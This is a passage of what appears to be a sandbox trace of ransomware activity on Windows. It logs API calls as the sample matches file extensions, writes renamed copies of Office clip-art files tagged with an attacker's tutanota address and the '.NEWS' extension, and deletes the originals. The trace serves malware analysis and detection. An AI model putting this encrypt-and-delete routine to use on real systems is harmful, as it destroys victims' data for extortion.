returned -1 [0270.582] lstrlenW (lpString=".bz2") returned 4 [0270.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.582] lstrlenW (lpString=".7z") returned 3 [0270.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0270.583] lstrlenW (lpString=".dbf") returned 4 [0270.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0270.583] lstrlenW (lpString=".1cd") returned 4 [0270.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0270.583] lstrlenW (lpString=".jpg") returned 4 [0270.583] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.584] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0270.584] lstrlenW (lpString="BS00135_.WMF") returned 12 [0270.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0270.585] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1044) returned 1 [0270.585] CloseHandle (hObject=0x39c) returned 1 [0270.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x20 [0270.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0270.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0270.586] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.586] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0270.587] GetLastError () returned 0x0 [0270.587] ReadFile (in: hFile=0x39c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x414, lpOverlapped=0x0) returned 1 [0270.623] WriteFile (in: hFile=0x1cc, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x420, lpOverlapped=0x0) returned 1 [0270.626] ReadFile (in: hFile=0x39c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.627] WriteFile (in: hFile=0x1cc, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.627] SetEndOfFile (hFile=0x1cc) returned 1 [0270.627] CloseHandle (hObject=0x1cc) returned 1 [0270.628] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.628] SetEndOfFile (hFile=0x39c) returned 1 [0270.636] CloseHandle (hObject=0x39c) returned 1 [0270.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0270.638] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0270.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0270.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0270.639] lstrlenW (lpString=".doc") returned 4 [0270.639] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.639] lstrlenW (lpString=".docx") returned 5 [0270.639] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.639] lstrlenW (lpString=".pdf") returned 4 [0270.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.639] lstrlenW (lpString=".xls") returned 4 [0270.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.639] lstrlenW (lpString=".xlsx") returned 5 [0270.639] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.639] lstrlenW (lpString=".ppt") returned 4 [0270.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0270.640] lstrlenW (lpString=".zip") returned 4 [0270.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.640] lstrlenW (lpString=".rar") returned 4 [0270.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.640] lstrlenW (lpString=".bz2") returned 4 [0270.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.640] lstrlenW (lpString=".7z") returned 3 [0270.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0270.640] lstrlenW (lpString=".dbf") returned 4 [0270.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0270.641] lstrlenW (lpString=".1cd") returned 4 [0270.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0270.641] lstrlenW (lpString=".jpg") returned 4 [0270.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0270.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0270.641] lstrlenW (lpString=".doc") returned 4 [0270.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.642] lstrlenW (lpString=".docx") returned 5 [0270.642] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.642] lstrlenW (lpString=".pdf") returned 4 [0270.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.642] lstrlenW (lpString=".xls") returned 4 [0270.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.642] lstrlenW (lpString=".xlsx") returned 5 [0270.642] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.642] lstrlenW (lpString=".ppt") returned 4 [0270.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0270.642] lstrlenW (lpString=".zip") returned 4 [0270.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.642] lstrlenW (lpString=".rar") returned 4 [0270.643] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.643] lstrlenW (lpString=".bz2") returned 4 [0270.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.643] lstrlenW (lpString=".7z") returned 3 [0270.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0270.643] lstrlenW (lpString=".dbf") returned 4 [0270.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0270.643] lstrlenW (lpString=".1cd") returned 4 [0270.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0270.643] lstrlenW (lpString=".jpg") returned 4 [0270.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.644] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0270.644] lstrlenW (lpString="BS00145_.WMF") returned 12 [0270.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0270.920] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1712) returned 1 [0270.920] CloseHandle (hObject=0x3cc) returned 1 [0270.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x20 [0271.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0271.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0271.224] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.225] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0271.767] GetLastError () returned 0x0 [0271.767] ReadFile (in: hFile=0x3d4, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x6b0, lpOverlapped=0x0) returned 1 [0271.787] WriteFile (in: hFile=0x3c8, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x6c0, lpOverlapped=0x0) returned 1 [0271.790] ReadFile (in: hFile=0x3d4, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.790] WriteFile (in: hFile=0x3c8, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.791] SetEndOfFile (hFile=0x3c8) returned 1 [0271.791] CloseHandle (hObject=0x3c8) returned 1 [0271.792] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.792] SetEndOfFile (hFile=0x3d4) returned 1 [0271.799] CloseHandle (hObject=0x3d4) returned 1 [0271.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0271.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0271.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0271.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0271.802] lstrlenW (lpString=".doc") returned 4 [0271.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.802] lstrlenW (lpString=".docx") returned 5 [0271.802] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.802] lstrlenW (lpString=".pdf") returned 4 [0271.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.802] lstrlenW (lpString=".xls") returned 4 [0271.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.802] lstrlenW (lpString=".xlsx") returned 5 [0271.803] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.803] lstrlenW (lpString=".ppt") returned 4 [0271.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0271.803] lstrlenW (lpString=".zip") returned 4 [0271.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.803] lstrlenW (lpString=".rar") returned 4 [0271.803] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.803] lstrlenW (lpString=".bz2") returned 4 [0271.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.804] lstrlenW (lpString=".7z") returned 3 [0271.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0271.804] lstrlenW (lpString=".dbf") returned 4 [0271.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0271.804] lstrlenW (lpString=".1cd") returned 4 [0271.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0271.804] lstrlenW (lpString=".jpg") returned 4 [0271.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0271.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0271.805] lstrlenW (lpString=".doc") returned 4 [0271.805] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.805] lstrlenW (lpString=".docx") returned 5 [0271.805] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.805] lstrlenW (lpString=".pdf") returned 4 [0271.805] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.805] lstrlenW (lpString=".xls") returned 4 [0271.805] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.805] lstrlenW (lpString=".xlsx") returned 5 [0271.806] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.806] lstrlenW (lpString=".ppt") returned 4 [0271.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0271.806] lstrlenW (lpString=".zip") returned 4 [0271.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.806] lstrlenW (lpString=".rar") returned 4 [0271.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.806] lstrlenW (lpString=".bz2") returned 4 [0271.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.806] lstrlenW (lpString=".7z") returned 3 [0271.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0271.807] lstrlenW (lpString=".dbf") returned 4 [0271.808] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0271.808] lstrlenW (lpString=".1cd") returned 4 [0271.808] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0271.808] lstrlenW (lpString=".jpg") returned 4 [0271.808] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.809] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0271.809] lstrlenW (lpString="BS00439_.WMF") returned 12 [0271.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0271.816] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2052) returned 1 [0271.816] CloseHandle (hObject=0x3d4) returned 1 [0271.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x20 [0271.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0271.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0271.821] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.821] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0271.823] GetLastError () returned 0x0 [0271.823] ReadFile (in: hFile=0x3d4, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x804, lpOverlapped=0x0) returned 1 [0272.195] WriteFile (in: hFile=0x3c8, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x810, lpOverlapped=0x0) returned 1 [0272.210] ReadFile (in: hFile=0x3d4, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.210] WriteFile (in: hFile=0x3c8, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.211] SetEndOfFile (hFile=0x3c8) returned 1 [0272.211] CloseHandle (hObject=0x3c8) returned 1 [0272.211] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.211] SetEndOfFile (hFile=0x3d4) returned 1 [0272.218] CloseHandle (hObject=0x3d4) returned 1 [0272.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0272.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 1 [0272.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0272.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0272.271] lstrlenW (lpString=".doc") returned 4 [0272.272] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.272] lstrlenW (lpString=".docx") returned 5 [0272.272] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.272] lstrlenW (lpString=".pdf") returned 4 [0272.272] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.272] lstrlenW (lpString=".xls") returned 4 [0272.272] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.272] lstrlenW (lpString=".xlsx") returned 5 [0272.272] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.272] lstrlenW (lpString=".ppt") returned 4 [0272.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0272.272] lstrlenW (lpString=".zip") returned 4 [0272.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.273] lstrlenW (lpString=".rar") returned 4 [0272.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.273] lstrlenW (lpString=".bz2") returned 4 [0272.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.273] lstrlenW (lpString=".7z") returned 3 [0272.273] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0272.273] lstrlenW (lpString=".dbf") returned 4 [0272.273] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0272.273] lstrlenW (lpString=".1cd") returned 4 [0272.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0272.273] lstrlenW (lpString=".jpg") returned 4 [0272.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0272.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0272.274] lstrlenW (lpString=".doc") returned 4 [0272.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.274] lstrlenW (lpString=".docx") returned 5 [0272.274] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.274] lstrlenW (lpString=".pdf") returned 4 [0272.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.274] lstrlenW (lpString=".xls") returned 4 [0272.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.275] lstrlenW (lpString=".xlsx") returned 5 [0272.275] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.276] lstrlenW (lpString=".ppt") returned 4 [0272.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0272.277] lstrlenW (lpString=".zip") returned 4 [0272.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.277] lstrlenW (lpString=".rar") returned 4 [0272.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.277] lstrlenW (lpString=".bz2") returned 4 [0272.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.277] lstrlenW (lpString=".7z") returned 3 [0272.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0272.278] lstrlenW (lpString=".dbf") returned 4 [0272.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.278] lstrlenW (lpString="C:\\Program Files\\Microsoft 